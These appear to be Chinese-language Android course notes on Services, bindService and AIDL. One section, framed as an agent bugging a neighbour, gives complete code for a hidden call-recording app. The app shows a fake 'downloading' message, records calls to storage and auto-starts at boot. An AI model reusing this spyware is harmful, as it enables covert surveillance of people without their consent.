四大組件之服務、AIDL

進程概念介紹

  • 進程和程序:在內存裏運行着的是進程。硬盤上的可行行文件是程序。
  • 進程和線程:程序的主體就是進程。一個進程裏面可以有很多個子線程。
  • Android 啓動一個應用的時候會自動創建一個進程和線程,也就是主線程,我們的四大組件都是運行在主線程的。
  • 進程的生命週期:當內存不足的時候,需要殺掉一些進程,優先級越低越容易被殺掉
    1. Foreground process 前臺進程。用戶正在操作的進程。
      • 執行了 onResume 的 Activity
      • 正在執行生命週期方法的 Activity、Service、BroadcastReceiver
      • 有綁定服務到可操作界面的進程
    2. Visible process 可見進程。已經不可操作,但是仍然可見的進程
      • 執行了 onPause 的 Activity
      • 有綁定服務到可見界面的進程
    3. Service process 服務進程。開啓服務,同時沒有可操作或可見界面的進程。
    4. Background process 後臺進程。只有不可見界面的進程。
      • 進程裏只有執行了 onStop 的 Activity
    5. Empty process 空進程。不包含四大組件的進程。

startService 方式開啓服務的特點

Android 裏的服務是一個在後臺運行的組件,是沒有界面的 Actvitiy

  • 退出開啓服務的界面後,服務仍然在運行
  • 要關閉服務只能是調用了 stopService 方法 ,或者用戶從系統設置裏關閉

startService 的生命週期

啓動到關閉;重複啓動以及重複關閉;退出啓動界面

  • onCreate 只會在第一次啓動時執行
  • onStartCommand 在每一次調用 startService 啓動服務的時候都會執行
  • onDestroy 只會在服務銷燬的只會執行一次

線程和服務的區別

當退出主界面後,在系統設置裏可以看到服務,但是看不到子線程

  • 當進程裏沒有四大組件運行,只有一個子線程的時候,是一個空進程,進程隨時可能被回收
  • 當進程只有一個服務的時候,是一個服務進程,不容易被殺死。
  • 服務是運行在主線程的,如果要做耗時操作,需要開啓子線程。

電話竊聽器案例

錄音需要權限 RECORD_AUDIO, 異常裏看不到權限

  • 作爲一名特工,黨又一次給你安排任務。給隔壁老王安裝一個監聽軟件,將他所有的通話都錄音下來。
  • 清單文件
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.itheima.phonelistenerservice"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="17" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.itheima.phonelistenerservice.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <!-- 3.在清單文件註冊 -->
        <service android:name="com.itheima.phonelistenerservice.PhoneListenerService">
        </service>

        <receiver android:name="com.itheima.phonelistenerservice.BootReceiver">
            <intent-filter >
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    </application>

</manifest>
  • 主界面代碼
    // 開啓後臺今天服務
    public void click(View view) {
        // 特工的職業素養
        Toast.makeText(MainActivity.this, "正在下載,請稍後~~~~", 0).show();

        // 開啓監聽服務
        Intent intent = new Intent(MainActivity.this, PhoneListenerService.class);
        startService(intent);
    }
  • 服務裏的代碼
// 1. 繼承 Service
public class PhoneListenerService extends Service {

    // 2. 處理生命週期方法
    @Override
    public void onCreate() {
        super.onCreate();

        // 註冊電話監聽
        TelephonyManager manager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
        manager.listen(new PhoneStateListener(){

            private MediaRecorder recorder;

            @Override
            public void onCallStateChanged(int state, String incomingNumber) {
                System.out
                        .println("onCallStateChanged,state="+state+";incomingNumber="+incomingNumber);

                // 判斷電話狀態
                switch (state) {
                case TelephonyManager.CALL_STATE_IDLE:
                    // 空閒或者掛斷電話。釋放資源
                    System.out.println("掛斷電話,釋放錄音資源");

                    // 釋放硬件資源
                    if (recorder!=null) {
                        recorder.stop();
                        recorder.reset();   // You can reuse the object by going back to setAudioSource() step
                        recorder.release(); // Now the object cannot be reused
                    }
                    break;
                case TelephonyManager.CALL_STATE_RINGING:
                    // 來電響鈴。準備硬件資源
                    System.out.println("電話響鈴,準備錄音資源");

                     try {
                         recorder = new MediaRecorder();
                         // 設置錄製的聲音來源。注意:模擬器上只能使用 MIC
                         recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                         // 設置音頻格式
                         recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                         // 設置音頻的編碼
                         recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                         // 設置保存路徑
                         recorder.setOutputFile("/mnt/sdcard/luyin.3gp");
                         // 準備硬件資源
                        recorder.prepare();
                    } catch (IllegalStateException e) {
                        e.printStackTrace();
                    } catch (IOException e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                    }


                    break;
                case TelephonyManager.CALL_STATE_OFFHOOK:
                    // 接通的電話。開始錄音
                    System.out.println("電話接通,開始錄音");

                     // 開始錄音
                     recorder.start();   // Recording is now started

                    break;
                }

            }

        }, PhoneStateListener.LISTEN_CALL_STATE);
    }


    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

}
  • 開機啓動的代碼
public class BootReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        System.out.println("BootReceiver.onReceive,");

        // 開機時啓動監聽服務
        Intent service = new Intent(context, PhoneListenerService.class);
        context.startService(service);
    }

}

使用服務註冊特殊的廣播接收者

  • 後臺服務的代碼
public class ScreenService extends Service {

    private ScreenReceiver receiver;

    @Override
    public void onCreate() {
        super.onCreate();

        IntentFilter filter = new IntentFilter();
        filter.addAction("android.intent.action.SCREEN_OFF");
        filter.addAction("android.intent.action.SCREEN_ON");
        receiver = new ScreenReceiver();
        // 動態註冊廣播接收者
        registerReceiver(receiver, filter );
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        // 服務關閉時,註銷動態的廣播接收者
        unregisterReceiver(receiver);
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

}
  • 主界面的代碼
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);


        // 開啓後臺服務,監聽屏幕狀態
        Intent intent = new Intent(MainActivity.this, ScreenService.class);
        startService(intent);
    }

bindService 開啓服務的特點

  • onCreate 只在第一次啓動時執行
  • onBind 一個 Activity 只能綁定一次
  • onDestroy 當所有已經綁定的界面都解綁之後,纔會執行
  • 同生共死,當綁定的界面退出之後,會自動解綁,並關閉服務
  • 系統設置裏不可見,對用戶來說是隱形的

爲什麼要引入 bindService

  • Service對象是系統創建,我們沒有對象來調用服務裏的方法.

  • 可以被多個Activity綁定,重用代碼

  • Activity的代碼更乾淨

通過 bindService 方式調用服務裏面方法的過程

  • 創建一個 BanZhengService,並提供 banzheng 方法
  • 在 BanZhengService 裏創建 MyBinder 繼承 Binder,並提供一個 callBanZheng 方法
  • 在 BanZhengService 的 onBind 方法裏返回一個 MyBinder 的對象
  • 在 Activity 裏綁定服務,並創建 MyConn 實現 ServiceConnection 接口
  • 在 MyConn 的 onServiceConnected 獲取到傳遞過來的 MyBinder 對象
  • 使用 MyBInder 對象訪問服務裏的方法
  • 服務裏的代碼
// 1. 繼承 Service
public class BanZhengService extends Service {

    // 2. 處理生命週期方法

    @Override
    public IBinder onBind(Intent intent) {
        System.out.println("BanZhengService.onBind,");
        return new MyBinder();
    }

    // 派出所:提供辦證業務,但是不允許外部訪問
    private void banzheng(int money) {
        if (money > 200) {
            System.out.println("有錢能使鬼推磨,這證我給你辦了");
        } else {
            System.out.println("巧婦難爲無米之炊,這事難哪");
        }
    }

    // 開放一個代理人,代理辦證
    public class MyBinder extends Binder{

        // 提供代理方法,處理辦證功能
        public void callBanZheng(int money) {
            banzheng(money);
        }

    }

}
  • Activity裏的代碼
public class MainActivity extends Activity {

    private MyConn conn;
    private MyBinder binder;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // 綁定服務
        Intent service = new Intent(MainActivity.this, BanZhengService.class);
        conn = new MyConn();
        bindService(service , conn, BIND_AUTO_CREATE);
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        // 解綁服務
        unbindService(conn);
    }

    // 調用服務裏的辦證方法
    public void click(View view) {
        // 請求代理人幫忙辦證
        binder.callBanZheng(199);
    }

    // 綁定服務時需要傳遞的對象
    private class MyConn implements ServiceConnection{

        @Override
        // 在服務綁定成功時被調用
        public void onServiceConnected(ComponentName name, IBinder service) {
            System.out.println("MainActivity.onServiceConnected,service="+service);
            // 連接成功,獲取代理人對象
            binder = (MyBinder) service;
        }

        @Override
        // 在服務解綁的時候被調用
        public void onServiceDisconnected(ComponentName name) {

        }

    }
}

通過接口方式調用服務裏面的方法

  • 創建 IService 接口,定義 callBanZheng 方法
  • 創建 MyBinder 類繼承 Binder 並實現 IService 接口,並實現 callBanZheng 方法。
  • 在 onBind 方法 返回 MyBinder 對象
  • 在 Activity 裏從 onServiceConnected 方法將 IBinder 對象轉換爲 IService 類型
  • 調用 IService 實例的方法
  • 定義接口
public interface IService {

    void callBanZheng(int money);
}
  • 創建 MyBinder
    // 開放一個代理人,代理辦證
    public class MyBinder extends Binder implements IService{

        // 提供代理方法,處理辦證功能
        public void callBanZheng(int money) {
            banzheng(money);
        }

        public void callDaMaJiang() {
            daMaJiang();
        }

        public void callDouDiZhu() {
            douDiZhu();
        }

    }
  • 在 Activity 裏獲取 IService 實例
    // 綁定服務時需要傳遞的對象
    private class MyConn implements ServiceConnection{

        @Override
        // 在服務綁定成功時被調用
        public void onServiceConnected(ComponentName name, IBinder service) {
            System.out.println("MainActivity.onServiceConnected,service="+service);
            // 連接成功,獲取代理人對象
            iService = (IService) service;
        }

        @Override
        // 在服務解綁的時候被調用
        public void onServiceDisconnected(ComponentName name) {

        }

    }

百度用音樂盒框架

先使用startService還是bindServie

  • 主界面提供按鈕:播放、暫停、恢復播放 – 需要 bindService
  • 當退出主界面後:繼續播放音樂 – 需要 startService
  • 一般是先 startService,再 bindService,當關閉服務的時候,先 unbindService,再 stopService
  • 服務的代碼
package com.itheima.music;

import android.app.Service;
import android.content.Intent;
import android.os.Binder;
import android.os.IBinder;

// 1. 繼承 Service
public class MusicService extends Service {
    // 2. 處理生命週期方法

    @Override
    public void onCreate() {
        super.onCreate();
        System.out.println("MusicService.onCreate,");
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        System.out.println("MusicService.onStartCommand,");
        return super.onStartCommand(intent, flags, startId);
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        System.out.println("MusicService.onDestroy");
    }

    @Override
    public IBinder onBind(Intent intent) {
        System.out.println("MusicService.onBind,");
        return new MyBinder();
    }

    @Override
    public boolean onUnbind(Intent intent) {
        System.out.println("MusicService.onUnbind");
        return super.onUnbind(intent);
    }
    // 播放音樂
    private void play() {
        System.out.println("MusicService.開始播放音樂");
    }

    // 暫停播放
    private void pause() {
        System.out.println("MusicService.停止播放");
    }
    // 恢復播放
    private void replay() {
        System.out.println("MusicService.恢復播放");
    }

    // 創建中間人
    private class MyBinder extends Binder implements IService{

        @Override
        public void callPlay() {
            play();
        }

        @Override
        public void callPause() {
            pause();
        }

        @Override
        public void callReplay() {
            replay();
        }

    }
}
  • 接口的代碼
package com.itheima.music;

public interface IService {
    // 播放
    void callPlay();
    // 暫停
    void callPause();
    // 恢復播放
    void callReplay();
}
  • MainActivity 的代碼
public class MainActivity extends Activity {

    private MyConnection connection;
    private IService iService;

    private final class MyConnection implements
            ServiceConnection {

        @Override
        // 解綁成功
        public void onServiceDisconnected(ComponentName name) {

        }

        @Override
        // 綁定成功
        public void onServiceConnected(ComponentName name, IBinder service) {
            iService = (IService) service;
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // 開啓音樂服務
        Intent intent = new Intent(MainActivity.this, MusicService.class);
        startService(intent);
        connection = new MyConnection();
        bindService(intent, connection, BIND_AUTO_CREATE);
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        // 解綁服務
        unbindService(connection); 
    }

    // 播放音樂
    public void click1(View view) {
        iService.callPlay();
    }

    // 暫停播放
    public void click2(View view) {
        iService.callPause();
    }

    // 恢復播放
    public void click3(View view) {
        iService.callReplay();
    }
}

AIDL 介紹

遠程服務、本地服務;進程間通信:不在一個包無法調用對方方法

  • 遠程服務的處理

    • 創建一個 IService 接口,並將後綴名修改爲 aidl。並刪掉文件裏的 public。
    • 創建 MyBinder 繼承自動生成的 Stub 抽象類,並實現裏面的方法。
    • 在 onBind 方法裏返回一個 MyBinder 對象
  • 本地項目的處理

    • 創建和遠程服務相同 aidl 文件,並放到遠程服務相同的包名下

    • 綁定服務,並在 MyConn 的 onServiceConnected 方法裏將 IBinder 對象轉換爲 IService 類型

    iService = IService.Stub.asInterface(service);

    • 調用 IService 對象的方法

AIDL 的應用場景 歡樂鬥地主 使用 支付寶 充值

  • 需求:支付寶提供服務付款服務。歡樂鬥地主調用支付寶充值。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章